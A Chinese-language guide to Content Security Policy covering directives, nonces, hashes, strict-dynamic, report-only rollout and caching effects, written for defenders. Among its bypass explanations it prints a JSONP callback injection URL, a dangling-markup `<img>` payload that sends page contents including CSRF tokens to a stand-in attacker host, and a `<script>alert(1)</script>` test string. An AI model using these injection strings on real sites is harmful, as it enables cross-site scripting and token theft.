# 内容安全策略 CSP：指令、nonce 与安全上线

> 讲清 CSP 如何拦截注入脚本与数据外泄、meta 标签为何不够、nonce、哈希与 strict-dynamic 的原理，以及从仅报告到强制执行的落地方法。

**快速答案:** 内容安全策略（CSP）是由浏览器执行的允许列表，通过响应头下发，限制页面可以加载和执行的脚本、样式、图片、字体、框架与网络目标。长期有效的做法是每次响应生成 nonce 或使用哈希，配合 strict-dynamic，并显式设置 base-uri、form-action 与 frame-ancestors，先以仅报告模式收集违规，再转为强制执行。CSP 是输出编码的补充，不能替代输出编码。

## 核心要点

- CSP 在内容送达之后由浏览器执行：它限制被攻陷页面能加载和执行什么，但修不了服务端注入或授权漏洞。
- 响应头支持 frame-ancestors、report-uri、report-to 和 sandbox，meta 标签会静默忽略它们，所以 meta 只能算回退方案。
- default-src 不覆盖 base-uri、form-action 和 frame-ancestors，这三者必须各自显式配置。
- nonce 或哈希配合 strict-dynamic，比主机允许列表更严格也更耐久；CDN、JSONP 端点和子域一变，允许列表就会腐化。
- CSP 拦不住受信任代码内部的 DOM XSS；要同时做好输出编码，在可用时启用 Trusted Types，并清除 JSONP 端点。

---

内容安全策略（Content Security Policy，CSP）是唯一能把一个 XSS 漏洞从账号完全失守降级为一段被拦截的脚本和一条日志的响应头。它也是最容易被复制粘贴上线、在仅报告模式里放上一年，或者为了消除控制台报错而加上 `'unsafe-inline'` 的响应头。

本文把 CSP 当作一项工程控制来讨论：每条指令到底管什么，meta 回退在哪里失效，nonce 与 `'strict-dynamic'` 如何改变威胁模型，允许列表和 JSONP 端点为什么会架空策略，以及如何在不打断业务的前提下从观察走向强制执行。

## CSP 能拦住什么，又拦不住什么

CSP 是浏览器执行的允许列表。策略随文档一起下发，浏览器在执行脚本之前解析它，并据此决定哪些请求和脚本执行可以发生。执行发生在用户浏览器里，而不是你的服务器上。这带来两个结果：CSP 只保护实现了它的浏览器用户，而且只约束随策略一起下发的那个文档。

多条策略是叠加而不是合并。一个响应带两个 CSP 头，或者一个头里用逗号分隔两条策略，浏览器都会执行，资源必须同时通过。单条策略内，同名指令以第一次出现为准，未知指令和格式错误的源表达式会被忽略。因此拼错一条指令不会报错，而是悄悄少了一层防护。应在 CI 中做策略 lint，并与基线做 diff，而不是只靠代码评审。

CSP 是纵深防御。修复 XSS 的主要手段仍是上下文相关的输出编码和安全模板。CSP 是安全带：它把漏掉的转义变成一次被拦截的请求，也是当依赖、模板或框架把原始 HTML 写进页面时仍然有效的最后一道控制。

## 响应头与 meta 标签：meta 形式表达不了什么

作为响应头的 `Content-Security-Policy` 是标准形式。它适用于所有响应类型，在 HTML 解析器启动前到达，并且能覆盖根本不经过应用代码的错误页。CDN 或反向代理可以一次为所有 HTML 设置它。

```http
Content-Security-Policy: default-src 'self'; script-src 'nonce-4pV9n2Kc8QxR7mW3' 'strict-dynamic' https: 'unsafe-inline'; style-src 'self' 'nonce-4pV9n2Kc8QxR7mW3'; img-src 'self' data:; connect-src 'self' https://api.example.com; font-src 'self'; object-src 'none'; base-uri 'none'; form-action 'self'; frame-ancestors 'none'; upgrade-insecure-requests; report-to csp-endpoint; report-uri /csp-report
Reporting-Endpoints: csp-endpoint="https://reports.example.com/csp"
Cache-Control: no-store
```

`<meta http-equiv="Content-Security-Policy" content="...">` 形式是给无法设置响应头的托管环境准备的，例如某些静态文件服务。它有硬性限制：

- `frame-ancestors`、`report-uri`、`report-to` 和 `sandbox` 在 meta 中会被忽略。把防点击劫持放在这里等于没放。
- 它只覆盖包含该标签的文档。JSON、PDF、图片以及边缘生成的错误响应完全得不到策略保护。
- 策略在解析器遇到该元素时才安装，文档中更靠前的脚本可能已经发出请求。标签必须放在 `<head>` 最前面。
- meta 里的 nonce 很脆弱：值被写进 HTML，而静态托管和 CDN 最爱缓存 HTML，结果每个访客拿到同一个 nonce。

注入的 meta 标签不能放宽已有策略，因为策略是叠加的，但它会干扰阅读页面源码的运维人员。用 [HTTP 响应头检查器](/tools/http-headers) 确认实际发出的内容：框架、CDN 和反向代理经常添加、改写、重复或删除 CSP 头，源站配置并不能证明用户收到的字节。

## 取源指令：default-src、script-src、style-src、img-src、connect-src、font-src

`default-src` 是没有显式规则的取源指令的回退，涵盖脚本、样式、图片、连接、字体、媒体、对象、框架、Worker 和 manifest。它不覆盖 `base-uri`、`form-action`、`frame-ancestors`，也不覆盖上报。

`'self'` 指页面同源：协议、主机和端口都相同；子域是不同源。WebSocket 要显式写 `wss://`，因为 `'self'` 对 WebSocket 的覆盖历来不一致。`data:` 和 `blob:` 从不是隐式允许的，把它们授予脚本等于重新制造注入原语。

源表达式里的路径很弱：CSP 在重定向后跳过路径匹配，所以 `https://cdn.example.com/assets/` 不是攻击者会尊重的边界。信任单位是主机，不是路径。

| 指令 | 管什么 | 严格起点 | 漏配的后果 |
| --- | --- | --- | --- |
| default-src | 无显式规则的取源指令的回退 | 'self' | 未列出的资源类型继承意料之外的默认值 |
| script-src | 脚本元素、内联事件处理器、javascript: URL、eval | 'nonce-...' 'strict-dynamic' | 注入脚本和处理器直接执行 |
| style-src | 样式表、style 元素、style 属性 | 'self' 'nonce-...' | 注入 CSS 可外泄数据或伪装界面 |
| img-src | 图片、favicon、CSS 图片、srcset | 'self' data: | 信标图片把令牌泄露给第三方 |
| connect-src | fetch、XHR、WebSocket、EventSource、sendBeacon | 'self' 加已知 API 源 | 窃取的数据被发往攻击者源 |
| font-src | @font-face 来源 | 'self' | 字体请求把页面上下文泄露给第三方 |

## 导航、注入与上报指令

`frame-ancestors` 取代 `X-Frame-Options`，决定哪些源可以嵌入本文档。除非确有合作方需要嵌入，否则用 `'none'`；需要时列出精确源。它只在响应头中有效；支持它的浏览器会忽略 `X-Frame-Options`，后者只留给老客户端。

`base-uri` 限制 `<base href>`。注入的 base 标签会把所有相对脚本、样式和链接重定向到攻击者主机；应用不用 `<base>` 时应设为 `'none'`。`form-action` 限制表单提交目标，并会检查重定向后的地址。这两条指令都不回退到 `default-src`，而且 `form-action` 管不到 `fetch` 调用，后者属于 `connect-src`。

`object-src 'none'` 阻止插件内容和 `<embed>` 对象，也是 `strict-dynamic` 旁边的必备卫生措施，因为旧浏览器会回退到传统允许列表。

`upgrade-insecure-requests` 在取源时把不安全的子资源请求改写成 HTTPS。它是迁移辅助手段，不能替代 HSTS，对非浏览器客户端和最终又重定向回 HTTP 的 URL 无效。

`report-to` 和 `report-uri` 把违规送到收集端。`report-uri` 在 CSP3 中已弃用，但实现范围最广；`report-to` 使用由 `Reporting-Endpoints`（或旧的 `Report-To` 头）声明的端点组。过渡期两者都发，并记住上报是尽力而为：浏览器会合并、抽样或在高负载时丢弃报告。

## nonce、哈希与 strict-dynamic

nonce 是每次响应生成的随机值，在策略中写成 `'nonce-...'`，并重复出现在每个受信任的 `<script>` 和 `<style>` 元素上。使用密码学随机源生成至少 128 位，再做 base64 编码。值必须不可预测且每次响应唯一；跨用户复用或缓存包含它的 HTML 会让整个模型失效。

哈希是某段内联脚本或样式的精确内容摘要，写成 `'sha256-...'` 或更强的算法。哈希适合内联片段少而稳定的静态页面，但内容一变就要重新生成。CSP3 还允许哈希配合 integrity 属性授权外部脚本。

`'strict-dynamic'` 改变了脚本的信任模型。只要存在 nonce 或哈希，支持的浏览器就会忽略 `script-src` 中的主机允许列表、`'self'` 和 `'unsafe-inline'`；只有带 nonce 或哈希匹配的脚本能运行，而这些脚本又可以创建更多脚本元素并继承信任。现代打包器和标签加载器就是靠这一点在严格策略下工作。兼容写法会保留现代浏览器忽略的回退令牌：`script-src 'nonce-...' 'strict-dynamic' https: 'unsafe-inline'`。

限制同样重要。`'strict-dynamic'` 不适用于 `style-src`，不允许 `eval`，也覆盖不了 `style` 属性和内联事件处理器，这些仍然需要 `'unsafe-inline'` 或 `'unsafe-hashes'`。更关键的是信任会传播：受信任脚本如果把攻击者输入变成 script 元素或 `eval` 调用，CSP 只会看到一次受信任操作，不会报警。

## 主机允许列表和 unsafe-inline 为什么不可靠

主机允许列表假设某个主机上的所有 URL 都只提供你信任的代码。这个假设很难在真实 CDN 面前成立：对象存储桶托管用户上传，营销子域跑着被遗忘的 CMS，`*.example.com` 这样的通配符还会把影子 IT 和容易被接管的子域一并放进来。条目往往比当初批准它们的供应商活得更久。

JSONP 是最锋利的例子。像 `https://api.example.com/jsonp?callback=alert(document.domain)` 这样的端点，会从允许的主机返回攻击者指定的 JavaScript，而 CSP 因为源匹配而放行。任何带 JSONP 端点或用户可控内容的允许主机，不管合同怎么写，都是脚本源。

`'unsafe-inline'` 更糟，因为它拆掉了 CSP 本来要提供的保护。一旦存在 HTML 注入，攻击者可以加入内联 `<script>`、`onerror` 处理器或 `javascript:` URL，这些都会执行。`'unsafe-eval'` 把同样的问题扩展到字符串求值代码，一些模板引擎和老库仍然需要它。把 `data:` 授予 `script-src`，等于直接允许 `data:text/javascript,...` 载荷。

耐久方案是 nonce 或哈希配合 `'strict-dynamic'`，主机允许列表只留作不支持 CSP3 的浏览器的回退。这些回退令牌应当作为有删除日期的技术债来管理，而不是安全边界的一部分。

## JSONP、DOM XSS 与悬空标记绕过

CSP 是执行策略，不是漏洞扫描器。实践中主要的三类绕过值得警惕。

**JSONP 与脚本小工具。** 白名单里的 JSONP 端点会执行攻击者提供的回调，如前所述。脚本小工具类似：受信任的库如果把 DOM 输入变成脚本或 `eval`，攻击者就能在不违反策略的情况下运行代码。`'strict-dynamic'` 让这一点更尖锐，因为受信任代码创建的脚本同样受信任。应清除 JSONP，在加载器创建元素前校验 URL，并升级那些把字符串编译成代码的模板库。

**DOM XSS。** 当受 nonce 信任的打包文件执行 `element.innerHTML = location.hash`，或把 URL 参数送进 `eval` 时，没有发生任何请求，CSP 什么也不会报告。策略尽到了职责，受信任代码没有。Trusted Types（`require-trusted-types-for 'script'`）能堵住许多这类汇点，但需要改代码和浏览器支持。

**悬空标记。** 注入一个不闭合的 `<img src="https://attacker.example/?`，文档剩余部分（包括 CSRF 令牌）会被吞进请求 URL。`img-src` 可以阻止发往未允许源的请求，`base-uri 'none'` 阻止 base 标签劫持，`form-action 'self'` 阻止注入表单把秘密发往别处。通过 meta refresh 或 `location` 赋值进行的导航外泄根本不受 CSP 限制，所以不要把秘密放进 URL，并给 Cookie 设置 `SameSite`。

## 仅报告模式上线与违规收集

`Content-Security-Policy-Report-Only` 会执行同一套策略但不拦截。先部署它，收集至少一个完整业务周期，并对每条违规分类：内联处理器、第三方加载器、过期允许条目、浏览器扩展，还是真正的缺陷。能改应用就改应用，只有确认资源仍然必要时才放宽策略。

分阶段推进：生产先只报告，预发强制执行，再对一小批生产流量强制执行。强制策略干净之后，保留第二条仅报告策略用于下一次收紧，这样可以提前看到什么会坏。

违规报告包含 `document-uri`、`blocked-uri`、`effective-directive`、`disposition`、`status-code`，启用 `report-sample` 时还有一小段 `script-sample`。把收集端当成不可信的写入端点：限制请求体大小，按 IP 和文档限流，去重，绝不把报告内容回显到管理页面。扩展和安全软件会产生稳定噪音，应过滤 `chrome-extension://` 和 `moz-extension://` 的 blocked-uri，而不是放宽策略。事故前先用 [HTTP 请求工作台](/tools/http-request) 发送一条模拟违规，确认收集端可用。

## 每请求 nonce 与缓存影响

nonce 必须对每个 HTML 响应都是新的。用密码学随机源生成，把同一个值放进响应头和每个受信任脚本标签，绝不要从用户 ID、时间戳或能穿过缓存的模板变量派生。

```ts
import { randomBytes } from "node:crypto";

export function cspForDocument() {
  const nonce = randomBytes(16).toString("base64"); // 128 位，每次响应重新生成
  const policy = [
    "default-src 'self'",
    `script-src 'nonce-${nonce}' 'strict-dynamic' https: 'unsafe-inline'`,
    `style-src 'self' 'nonce-${nonce}'`,
    "img-src 'self' data:",
    "connect-src 'self' https://api.example.com",
    "font-src 'self'",
    "object-src 'none'",
    "base-uri 'none'",
    "form-action 'self'",
    "frame-ancestors 'none'",
    "upgrade-insecure-requests",
    "report-to csp-endpoint",
    "report-uri /csp-report"
  ].join("; ");

  return {
    nonce,
    headers: {
      "Content-Security-Policy": policy,
      "Reporting-Endpoints": 'csp-endpoint="https://reports.example.com/csp"',
      "Cache-Control": "no-store"
    }
  };
}
```

缓存后果很具体。每响应 nonce 会让 HTML 无法被共享缓存复用，因此要设置 `Cache-Control: no-store`。如果页面必须缓存，就在缓存查找之后于边缘生成 nonce，或者让缓存模板不含 nonce。ETag 也会失效：nonce 每次都变，重新验证的 304 永远不会匹配。静态站点应改为对内联启动脚本做哈希；如果托管方只允许 meta，可以用 [meta 标签生成器](/tools/meta-tag-generator) 拼一个，但 `frame-ancestors` 和上报会缺失。Service Worker 缓存会保留文档存储时的 nonce，对那个文档本身没问题，但绝不能跨用户共享，也不能在发布后继续使用旧副本。

## 验证清单与通过标准

按顺序验证，并且走公网边缘而不是源站：

1. 确认送达。运行 `curl -sI https://example.com | grep -i content-security-policy`，再对 404、登录页和错误路由重复。只有首页有头不算覆盖。
2. lint 策略。在 nonce 可用时拒绝 `script-src` 中的 `'unsafe-inline'`，拒绝 `'unsafe-eval'`、通配符和 `data:`；要求存在 `object-src 'none'`、`base-uri 'none'` 和显式的 `frame-ancestors`。
3. 检查 nonce 新鲜度。连续取同一页面两次并比较；相同就说明 HTML 被缓存或 nonce 是静态的。
4. 在预发环境做无害注入测试，例如在表单字段填入 `<script>alert(1)</script>`，确认控制台报告违规且收集端收到。
5. 仅报告模式观察至少七天，再强制执行，并盯住违规率和错误预算。

生产通过标准：所有 HTML 响应，包括 404、500 和登录后页面，都带强制执行的响应头；在支持 nonce 的浏览器里 `script-src` 不含 `'unsafe-inline'` 或 `'unsafe-eval'`；`object-src`、`base-uri` 和 `frame-ancestors` 均已显式设置；连续两次响应携带不同的 128 位 nonce；仅报告连续七天没有意外违规；回滚是边缘配置变更，而不是重新发版。

| 失败模式 | 表现 | 修复 |
| --- | --- | --- |
| 指令拼写错误 | 策略能解析，防护悄悄缺失 | 在 CI 里 lint，并与基线做 diff |
| 只在应用路由上设 CSP | 404、500 和边缘页面没有保护 | 在 CDN 或反向代理层统一设置 |
| 从缓存复用 nonce | 每次响应的 nonce 都相同 | 在边缘按请求生成，或禁用 HTML 缓存 |
| 以为 default-src 覆盖一切 | base-uri、form-action、frame-ancestors 裸奔 | 逐条显式添加 |
| 仅报告模式一直开着 | 违规一直在收，什么都没拦 | 排期强制执行，并保留报告用于下一次收紧 |
| 受信任加载器创建不可信脚本 | strict-dynamic 执行加载器拼出的地址 | 在加载器里校验 URL，清除脚本小工具 |
| 扩展噪音 | blocked-uri 以 chrome-extension:// 开头 | 过滤这些报告，而不是放宽策略 |
| 响应头被代理删掉 | 源站有 CSP，用户响应里没有 | 通过公网边缘检查并修正代理规则 |

CSP 不是设置一次就完事的开关。它是一份需要随应用演进而版本化、测试和收紧的策略，价值来自其他防线都已经失效时它还能拦住什么。

## 常见问题

### CSP 的 meta 标签能和响应头提供同等保护吗？

不能。meta 标签无法表达 frame-ancestors、report-uri、report-to 或 sandbox，只覆盖包含它的那个 HTML 文档，而且在解析器读到它时才生效，之前的请求可能已经发出。托管环境允许时应始终使用响应头。

### 同一个 nonce 可以在多次缓存响应里复用吗？

不可以。nonce 必须不可预测且每次响应都不同。共享的缓存 HTML 会让所有访客拿到同一个 nonce，存储型注入只要把它写进 payload 就能执行。带 nonce 的 HTML 应使用 no-store，静态页面则改用哈希。

### 只靠 strict-dynamic 能挡住 XSS 吗？

不能。strict-dynamic 阻止的是不受信任的 script 元素执行，但任何受信任脚本只要把攻击者可控数据写进 script、eval 或 DOM 汇点，代码照样运行。仍需严格的输出编码，在支持的浏览器启用 Trusted Types，并清除脚本小工具。

### 为什么会出现浏览器扩展导致的 CSP 违规？

扩展会从特权上下文向页面注入脚本和框架，报告里的 blocked-uri 可能是 chrome-extension:// 或 moz-extension://。应在收集端过滤这些值，而不是为了消除噪音而放宽策略。

### report-uri 和 report-to 应该用哪个？

report-to 是新的 Reporting API 指令，report-uri 虽已弃用但实现最广。过渡期应同时下发两者，用 Reporting-Endpoints 声明端点组，并验证目标浏览器是否真的会发送报告。

## 参考资料

- [W3C：内容安全策略 Level 3](https://www.w3.org/TR/CSP3/)
- [MDN：内容安全策略（CSP）](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP)
- [web.dev：内容安全策略](https://web.dev/articles/csp)
- [OWASP：内容安全策略备忘单](https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html)

---

- Canonical: https://www.jsonmind.com/zh-CN/guides/content-security-policy
- Locale: zh-CN
- Published: 2026-11-17
- Updated: 2026-11-17
- Tools: http-headers, http-request, meta-tag-generator